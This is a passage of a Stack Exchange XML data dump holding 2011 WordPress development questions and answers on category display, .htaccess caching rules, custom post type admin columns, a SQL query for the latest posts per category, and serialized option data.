CE|WinWAP|YahooSeeker/M1A1-R2D2|iPhone|iPod|Android|BlackBerry9530|LG-TU915\ Obigo|LGE\ VX|webOS|Nokia5800).* [NC]&#xA;RewriteCond %{HTTP_user_agent} !^(w3c\ |w3c-|acs-|alav|alca|amoi|audi|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-|dang|doco|eric|hipt|htc_|inno|ipaq|ipod|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-|lg/u|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|palm|pana|pant|phil|play|port|prox|qwap|sage|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|wap-|wapa|wapi|wapp|wapr|webc|winw|winw|xda\ |xda-).* [NC]&#xA;RewriteCond %{DOCUMENT_ROOT}/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html -f&#xA;RewriteRule ^(.*) &quot;/wp-content/cache/supercache/%{HTTP_HOST}/$1/index.html&quot; [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# END WPSuperCache&#xA;&#xA;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1926" LastEditorUserId="1926" LastEditorDisplayName="" LastEditDate="2011-02-05T16:24:31.707" LastActivityDate="2011-08-05T19:39:16.137" Title="Categories not working - 404 Not found error" Tags="&lt;categories&gt;&lt;url-rewriting&gt;&lt;404-error&gt;" AnswerCount="3" CommentCount="6" FavoriteCount="0" />
  <row Id="7525" PostTypeId="2" ParentId="7523" CreationDate="2011-01-23T00:51:58.180" Score="0" ViewCount="" Body="&lt;p&gt;WordPress by default does not offer anything to deactivate categories. You would then - as you already suggested in your question - need to subclass the query and remove the deactivated categories from anything ever queried category related. Good luck!&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-23T00:51:58.180" />
  <row Id="7526" PostTypeId="1" AcceptedAnswerId="7527" CreationDate="2011-01-23T00:53:49.237" Score="0" ViewCount="171" Body="&lt;p&gt;In my Wordpress site I've created, I'm having issues hiding or not displaying one of the category titles I set up. I'll try to explain better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wordpress Admin Side&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a post that is in two categories, a &quot;&lt;code&gt;Work&lt;/code&gt;&quot; &amp;amp; &quot;&lt;code&gt;Front_Page&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Page / index.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my main index page, I have 3 features below the header image. One of those features is a &quot;Featured Project&quot;. This is how I'm starting the loop...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Single Project Page&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on this page, the visual layout is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category Name&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is called &lt;code&gt;&amp;lt;h2 class=&quot;single_category&quot;&amp;gt;&amp;lt;?=$cat[0]-&amp;gt;name;?&amp;gt;&amp;lt;/h2&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Project Title&lt;br/&gt;&#xA;Large Header Image&lt;br/&gt;&#xA;Project Desription&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;THE PROBLEM!!!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For whichever post I put in &quot;&lt;code&gt;Front_Page&lt;/code&gt;&quot;, it displays that in the Category Name. I want it to default to the main category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to basically say &quot;if post is in &quot;&lt;code&gt;front_page&lt;/code&gt;&quot; category, don't display &quot;&lt;code&gt;front_page&lt;/code&gt;&quot; category as name?&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2011-01-23T14:23:15.330" Title="Post thats in Two Categories, only want to display name for one" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;categories&gt;&lt;php&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="7527" PostTypeId="2" ParentId="7526" CreationDate="2011-01-23T01:28:20.537" Score="0" ViewCount="" Body="&lt;p&gt;Here is a bad way that works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;single_category&quot;&amp;gt;&amp;lt;?&#xA;if ($cat[0]-&amp;gt;name != &quot;Front_Page&quot;) {&#xA;    echo $cat[0]-&amp;gt;name;&#xA;} else {&#xA;echo $cat[1]-&amp;gt;name;&#xA;}&#xA;?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a bad way that works and takes up less space.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo ($cat[0]-&amp;gt;name != &quot;Front_Page&quot;) ? $cat[0]-&amp;gt;name : $cat[1]-&amp;gt;name; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2582" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-23T14:23:15.330" LastActivityDate="2011-01-23T14:23:15.330" CommentCount="2" />
  <row Id="7528" PostTypeId="2" ParentId="7523" CreationDate="2011-01-23T01:32:32.590" Score="1" ViewCount="" Body="&lt;p&gt;I suggest you just make all your deactivated categories children of &quot;deactivated&quot; or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you can just filter subcategories of &quot;deactivated&quot; in your wp_list_categories. Also, you won't need non-default database entries.&lt;/p&gt;&#xA;" OwnerUserId="2582" LastActivityDate="2011-01-23T01:32:32.590" CommentCount="2" />
  <row Id="7529" PostTypeId="2" ParentId="7517" CreationDate="2011-01-23T02:05:29.313" Score="3" ViewCount="" Body="&lt;p&gt;the problem is with your portfolio_options function in this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;textarea name=&quot;portfolio_text&quot; cols=&quot;40&quot; rows=&quot;1&quot; style=&quot;width:98%; height:100px&quot;/&amp;gt;&amp;lt;?php echo get_option('portfolio_text');** ?&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;its being saved and have been before but you are not calling it the right way, you are using &#xA;&lt;strong&gt;get_option&lt;/strong&gt;('portfolio_text') and that's not right because it not an option is a post metadata&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so change get_option('portfolio_text') to get_post_meta($post-&gt;ID, 'portfolio_text', true);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so your function will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Meta Values for Shorts */&#xA;function portfolio_options() {&#xA; global $post;&#xA; $custom = get_post_custom($post-&amp;gt;ID);&#xA; $short_embed = $custom[&quot;portfolio_text&quot;][0]; ?&amp;gt;&#xA; &amp;lt;textarea name=&quot;portfolio_text&quot; cols=&quot;40&quot; rows=&quot;1&quot; style=&quot;width:98%; height:100px&quot;/&amp;gt;&amp;lt;?php echo get_post_meta($post-&amp;gt;ID, 'portfolio_text', true); ?&amp;gt;&amp;lt;/textarea&amp;gt; &#xA;&amp;lt;?php }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that should do it!&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-23T02:05:29.313" CommentCount="1" />
  <row Id="7530" PostTypeId="2" ParentId="7482" CreationDate="2011-01-23T02:20:40.073" Score="2" ViewCount="" Body="&lt;p&gt;On a project I am working on as we speak I encountered the same issue because the client is a bit computer illiterate / can't understand how the whole web thing works, so I asked the client what would be easiest for them to understand and they said: &quot;Page Sections&quot;. So I would call them &quot;&lt;strong&gt;Page Sections&lt;/strong&gt;&quot; or perhaps &quot;&lt;strong&gt;Inner Page Sections&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1687" LastActivityDate="2011-01-23T02:20:40.073" CommentCount="3" />
  <row Id="7531" PostTypeId="1" CreationDate="2011-01-23T02:25:37.557" Score="0" ViewCount="266" Body="&lt;p&gt;I have a div structure that looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;gallery_lightview&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;lg_image&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;http://www.website.com/?iframe=true&amp;amp;width=100%&amp;amp;height=100%&quot; rel=&quot;prettyPhoto[iframes]&quot; class=&quot;lightview_main&quot; title=&quot;TITLE HERE&quot;&amp;gt;&#xA;            &amp;lt;img class=&quot;alignnone&quot; src=&quot;HEADER.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;a class=&quot;lightview&quot; rel=&quot;prettyPhoto[pp_gal]&quot; href=&quot;http://pathTophoto.jpg&quot;&amp;gt; &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is done in the Wordpress Admin for the post and gets displayed when I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is remove the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags that show up ONLY between div class &quot;gallery_lightview&quot; and leave the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. So once its all stripped out it would look like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;gallery_lightview&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;lg_image&quot;&amp;gt;&#xA;        &amp;lt;img class=&quot;alignnone&quot; src=&quot;HEADER.jpg&quot; alt=&quot;&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically making this a non clickable image. Is this possible? Its going on a Mobile site and I don't want this to be in the header. Really wanted it to be a self contained Javascript that sat above the &lt;code&gt;&quot;the_content&quot;&lt;/code&gt; Wordpress call (which is where the &lt;code&gt;&quot;gallery_lightview&quot; div&lt;/code&gt; code is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I choose to not use a jQuery because, since its mobile it would add to the load. And literally the only thing the library would be doing was removing the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted the Javascript to live in the .php page template so I didn't have to go into every single post and add the Javascript as well. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ADDITION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I basically want to deactivate any &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag in &quot;&lt;code&gt;gallery_lightview&lt;/code&gt;&quot; so that just the &quot;&lt;code&gt;img&lt;/code&gt;&quot; tag is left and displayed&lt;/p&gt;&#xA;" OwnerUserId="2675" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-07-22T16:14:38.163" LastActivityDate="2011-07-22T16:14:38.163" Title="Javascript Solution Remove Specific Tag but leave the rest in a specific DIV" Tags="&lt;3.0&gt;&lt;javascript&gt;&lt;page-template&gt;&lt;content&gt;&lt;mobile&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="7532" PostTypeId="2" ParentId="7514" CreationDate="2011-01-23T03:06:33.967" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@zac:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Normally&lt;/em&gt; I like to shy away from recommending direct SQL, but in your use-case I think it is warranted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've coded this up as a direct SQL query; as you may notice is a bit complex. You can copy the following code to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or add it to the &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function home_cats($max_image_height=150){&#xA;  $categories= get_taxonomy_latest_posts_with_attachment('category');&#xA;  echo '&amp;lt;h1&amp;gt;Categories&amp;lt;/h1&amp;gt;';&#xA;  foreach($categories as $category) {&#xA;    $category_link = get_category_link( $category-&amp;gt;term_id );&#xA;    $category_title = sprintf( __( &quot;View all posts with category: '%s'&quot; ),$category-&amp;gt;term_name );&#xA;    $post_title = get_the_title($category-&amp;gt;post_id);&#xA;    $post_link = get_permalink($category-&amp;gt;post_id);&#xA;    $img_html = wp_get_attachment_image( $category-&amp;gt;attachment_id, array( 'thumbnail',$max_image_height ) );&#xA;    $html = &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;div id=&quot;category-{$category-&amp;gt;term_slug}&quot; class=&quot;category&quot;&amp;gt;&#xA;  &amp;lt;span style=&quot;float:right;&quot;&amp;gt;{$img_html}&amp;lt;/span&amp;gt;&#xA;  &amp;lt;span  style=&quot;float:left;&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{$category_link}&quot; title=&quot;{$category_title}&quot;&amp;gt;{$category-&amp;gt;term_name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p style=&quot;float:left;&quot;&amp;gt;Latest post: &amp;lt;a href=&quot;{$post_link}&quot; title=&quot;{$post_title}&quot;&amp;gt;$post_title&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/span&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br clear=&quot;both&quot; /&amp;gt;&#xA;HTML;&#xA;    echo $html;&#xA;  }&#xA;}&#xA;function get_taxonomy_latest_posts_with_attachment($taxonomy) {&#xA;    global $wpdb;&#xA;    $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;  categorized_posts.rownum,&#xA;  categorized_posts.term_id,&#xA;  categorized_posts.term_name,&#xA;  categorized_posts.term_slug,&#xA;  categorized_posts.post_id,&#xA;  categorized_posts.post_date,&#xA;  categorized_posts.post_title,&#xA;  attachments.ID AS attachment_id,&#xA;  attachments.post_title AS attachment_title,&#xA;  attachments.post_mime_type AS attachment_mime_type,&#xA;  attachments.guid AS attachment_guid&#xA;FROM&#xA;  (&#xA;  SELECT&#xA;    rownum,&#xA;    term_id,&#xA;    term_name,&#xA;    term_slug,&#xA;    post_id,&#xA;    post_date,&#xA;    post_title,&#xA;    post_parent,&#xA;    post_name,&#xA;    post_type&#xA;  FROM (&#xA;    SELECT&#xA;      IF( @prev &amp;lt;&amp;gt; {$wpdb-&amp;gt;terms}.term_id, @rownum := 1, @rownum := @rownum+1 ) AS rownum,&#xA;      @prev := {$wpdb-&amp;gt;terms}.term_id,&#xA;      {$wpdb-&amp;gt;terms}.term_id,&#xA;      {$wpdb-&amp;gt;terms}.name AS term_name,&#xA;      {$wpdb-&amp;gt;terms}.slug AS term_slug,&#xA;      {$wpdb-&amp;gt;posts}.ID as post_id,&#xA;      {$wpdb-&amp;gt;posts}.post_date,&#xA;      {$wpdb-&amp;gt;posts}.post_title,&#xA;      {$wpdb-&amp;gt;posts}.post_parent,&#xA;      {$wpdb-&amp;gt;posts}.post_name,&#xA;      {$wpdb-&amp;gt;posts}.post_type&#xA;    FROM&#xA;      {$wpdb-&amp;gt;term_taxonomy}&#xA;      INNER JOIN {$wpdb-&amp;gt;terms} ON {$wpdb-&amp;gt;term_taxonomy}.term_id={$wpdb-&amp;gt;terms}.term_id&#xA;      INNER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;term_relationships}.term_taxonomy_id={$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id&#xA;      INNER JOIN {$wpdb-&amp;gt;posts} ON {$wpdb-&amp;gt;posts}.ID={$wpdb-&amp;gt;term_relationships}.object_id&#xA;      INNER JOIN (SELECT @rownum := NULL, @prev := 0) AS rownum_initializer ON 1=1&#xA;    WHERE 1=1&#xA;      AND {$wpdb-&amp;gt;posts}.post_type='post'&#xA;      AND {$wpdb-&amp;gt;posts}.post_status='publish'&#xA;      AND {$wpdb-&amp;gt;term_taxonomy}.taxonomy='%s'&#xA;    ORDER BY {$wpdb-&amp;gt;posts}.post_parent DESC, {$wpdb-&amp;gt;posts}.post_date DESC&#xA;    ) x&#xA;  ) categorized_posts&#xA;    INNER JOIN (SELECT MAX(ID) AS post_id,post_parent FROM {$wpdb-&amp;gt;posts} WHERE post_type='attachment' GROUP BY post_parent) attachment_join ON attachment_join.post_parent=categorized_posts.post_id&#xA;    INNER JOIN {$wpdb-&amp;gt;posts} attachments ON attachments.ID=attachment_join.post_id&#xA;WHERE&#xA;  categorized_posts.rownum=1&#xA;GROUP BY&#xA;  categorized_posts.term_id&#xA;ORDER BY&#xA;  categorized_posts.term_name&#xA;SQL;&#xA;  return $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare($sql,$taxonomy));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll note I separated the logic so that you can get the list of any taxonomy terms and their latests posts with a photo by calling the &lt;code&gt;get_taxonomy_latest_posts_with_attachment()&lt;/code&gt; function and passing it a taxonomy identifier, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_tags = get_taxonomy_latest_posts_with_attachment('post_tags');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of the complexity of the SQL in that function I'm not going to try to explain it &lt;em&gt;(or I'd be here all night)&lt;/em&gt; but if you have specific follow up questions, just ask.  Anyway, here's what the code looks like on my test side with test data:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-215552.png&quot; alt=&quot;Screenshot of a WordPress site with the list of Categories and the Latest Post for Each&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. The people in the photos are friends of mine and all work with WordPress in one way or another. Hope they don't mind me using their likeness. :)&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-23T03:06:33.967" CommentCount="2" />
  <row Id="7533" PostTypeId="2" ParentId="7531" CreationDate="2011-01-23T03:21:12.017" Score="0" ViewCount="" Body="&lt;p&gt;haven't tested, but try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;var cnt = $(&quot;.lightview_main&quot;).contents()&#xA;$(&quot;.lightview_main&quot;).replaceWith(cnt);&#xA;$(&quot;a.lightview&quot;).remove();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-23T03:21:12.017" CommentCount="5" />
  <row Id="7534" PostTypeId="2" ParentId="845" CreationDate="2011-01-23T04:14:17.833" Score="0" ViewCount="" Body="&lt;p&gt;Another problem with Google forms is that adding a custom redirection page (thank you page, precisely), is a pain in the neck. Style can be changed with a little bit of workaround... And guess what, the Google form/thank you page has link for google docs, and if clicked on them, the links open up in the same iFrame, right on your page! So, i'd say go for some plugin, or some service like SurveyMonkey etc...&#xA;Let me know what solution you've found cause I'm looking for one too...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;Rutwick (WP developer, India)&lt;/p&gt;&#xA;" LastActivityDate="2011-01-23T04:14:17.833" />
  <row Id="7535" PostTypeId="2" ParentId="7492" CreationDate="2011-01-23T04:40:41.943" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@janoChen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using my test site and some test code this is what I think you were looking for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20110122-234130.png&quot; alt=&quot;Screenshot of WordPress Custom Post List in the Admin showing associated Taxonomies&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve this you need to use two (2) hooks, one being specific to your post type: &lt;code&gt;'manage_static_content_posts_columns'&lt;/code&gt; and &lt;code&gt;'manage_posts_custom_column'&lt;/code&gt;.  In order to make it work I took your code and packaged it in a class, and also made it a plugin &lt;em&gt;(it doesn't have to be a plugin; you could just take the code and put in in your theme's &lt;code&gt;functions.php&lt;/code&gt; file if you like.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA;Plugin name: Static Content&#xA;*/&#xA;if (!class_exists('YourSite_StaticContent')) {&#xA;  class YourSite_StaticContent {&#xA;    static function on_load() {&#xA;      add_action('init',array(__CLASS__,'init'));&#xA;      add_filter('manage_static_content_posts_columns',&#xA;          array(__CLASS__,'manage_static_content_posts_columns'));&#xA;      add_filter('manage_posts_custom_column', &#xA;          array(__CLASS__,'manage_posts_custom_column'));&#xA;    }&#xA;    function manage_static_content_posts_columns($columns){&#xA;      $new = array();&#xA;      foreach($columns as $key =&amp;gt; $title) {&#xA;        if ($key=='author') // Put the Sections column before the Author column&#xA;          $new['sections'] = 'Sections';&#xA;        $new[$key] = $title;&#xA;      }&#xA;      return $new;&#xA;    }&#xA;    static function manage_posts_custom_column($column){&#xA;      global $post;&#xA;      switch ($column) {&#xA;        case &quot;sections&quot;:&#xA;          echo get_the_term_list($post-&amp;gt;ID, 'section', '', ', ','');&#xA;          break;&#xA;      }&#xA;    }&#xA;    static function init() {&#xA;      register_post_type('static_content',array(&#xA;        'labels' =&amp;gt; array(&#xA;          'name' =&amp;gt; __( 'Static Content' ),&#xA;          'singular_name' =&amp;gt; __( 'Static Content' ),&#xA;          'add_new_item' =&amp;gt; 'Add New Static Content',&#xA;          'edit_item' =&amp;gt; 'Edit Static Content',&#xA;          'new_item' =&amp;gt; 'New Static Content',&#xA;          'search_items' =&amp;gt; 'Search Static Content',&#xA;          'not_found' =&amp;gt; 'No Static Content found',&#xA;          'not_found_in_trash' =&amp;gt; 'No Static Content found in trash',&#xA;        ),&#xA;        'public' =&amp;gt; true,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'taxonomies' =&amp;gt; array( 'section'),&#xA;        'supports' =&amp;gt; array('title','editor','excerpt'),&#xA;        'rewrite' =&amp;gt; array('slug'=&amp;gt;'static_content','with_front'=&amp;gt;false),&#xA;      ));&#xA;      register_taxonomy('section','static_content',array(&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'labels' =&amp;gt; array(&#xA;          'name' =&amp;gt; __( 'Section' ),&#xA;          'singular_name' =&amp;gt; __( 'Section' ),&#xA;          'add_new_item' =&amp;gt; 'Add New Section',&#xA;          'edit_item' =&amp;gt; 'Edit Section',&#xA;          'new_item' =&amp;gt; 'New Section',&#xA;          'search_items' =&amp;gt; 'Search Section',&#xA;          'not_found' =&amp;gt; 'No Sections found',&#xA;          'not_found_in_trash' =&amp;gt; 'No Sections found in trash',&#xA;          'all_items' =&amp;gt; __( 'All Sections' ),&#xA;        ),&#xA;        'query_var' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'section' ),&#xA;        ));&#xA;      if (!get_option('yoursite-static-content-initialized')) {&#xA;        $terms = array(&#xA;          'Footer',&#xA;          'Header',&#xA;          'Front Page Intro',&#xA;          'Front Page Content',&#xA;          );&#xA;        foreach($terms as $term) {&#xA;          if (!get_term_by('name',$term,'section')) {&#xA;            wp_insert_term($term, 'section');&#xA;          }&#xA;        }&#xA;        update_option('yoursite-static-content-initialized',true);&#xA;      }&#xA;    }&#xA;  }&#xA;  YourSite_StaticContent::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-23T04:40:41.943" CommentCount="2" />
  <row Id="7536" PostTypeId="1" CreationDate="2011-01-23T04:54:40.897" Score="0" ViewCount="168" Body="&lt;p&gt;Recently I've been seeing a lot of premium wordpress themes that includes a palet to change background colors, like this one: &lt;a href=&quot;http://pexeto.com/dandelion_wp/&quot; rel=&quot;nofollow&quot;&gt;http://pexeto.com/dandelion_wp/&lt;/a&gt; and this one: &lt;a href=&quot;http://kaptinlin.com/themes/striking/&quot; rel=&quot;nofollow&quot;&gt;http://kaptinlin.com/themes/striking/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the colour being saved in the database or is just changes in the current session?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;UPDATE (Copied from &lt;a href=&quot;http://wordpress.stackexchange.com/posts/16313&quot;&gt;duplicate&lt;/a&gt;)&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Basically, I would like to add this color picker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/fDpnR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To a custom &quot;Theme Options&quot; to let the client pick, for instance, the color of links or company identity colors (maybe some divs' background).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and how the code that modifies the CSS would look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do that?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-05-04T07:50:36.807" LastActivityDate="2011-05-04T07:50:36.807" Title="Color palet in the Wordpress' front-end?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="7537" PostTypeId="1" AcceptedAnswerId="7546" CreationDate="2011-01-23T05:09:09.163" Score="0" ViewCount="202" Body="&lt;p&gt;I'm just starting to store data in multi-dimensional arrays in wp_options and I need some help to retrieve some data...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My data is below and is stored as option_name &quot;my_category_fields&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to pull a string of category ids in which the my_cat_hide is set to true. I've stubbed my function here. How do I complete it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_hidden_cats()&#xA;{&#xA;$my_cats = get_option('ce4_category_fields');&#xA;    //how do I capture the list of category ids where my_cat_hide is 'true'?&#xA;    $my_hidden_cats = ?&#xA;    return $my_hidden_cats;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my_category_fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a:17:{&#xA;    i:20;a:1:{s:13:&quot;my_cat_title&quot;;s:30:&quot;Black Tea is Good for the Soul&quot;;}&#xA;    i:9;a:1:{s:13:&quot;my_cat_title&quot;;s:58:&quot;Herbal Chinese Tea is a spectacular blend of herbs and tea&quot;;}&#xA;    i:44;a:1:{s:13:&quot;my_cat_title&quot;;s:24:&quot;This is my 9th category!&quot;;}&#xA;    i:7;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:19;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:4;a:2:{s:13:&quot;my_cat_title&quot;;s:28:&quot;My test Title for Chai Tea 4&quot;;s:12:&quot;my_cat_hide&quot;;N;}&#xA;    i:37;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:16;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:5;a:2:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;s:12:&quot;my_cat_hide&quot;;N;}&#xA;    i:6;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:8;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:3;a:1:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;}&#xA;    i:10;a:1:{s:13:&quot;my_cat_title&quot;;s:59:&quot;Iced Tea: The Great Southern Choice for Cooling Refreshment&quot;;}&#xA;    i:36;a:1:{s:13:&quot;my_cat_title&quot;;s:28:&quot;Full title for this category&quot;;}&#xA;    i:38;a:2:{s:13:&quot;my_cat_title&quot;;s:0:&quot;&quot;;s:12:&quot;my_cat_hide&quot;;s:4:&quot;true&quot;;}&#xA;    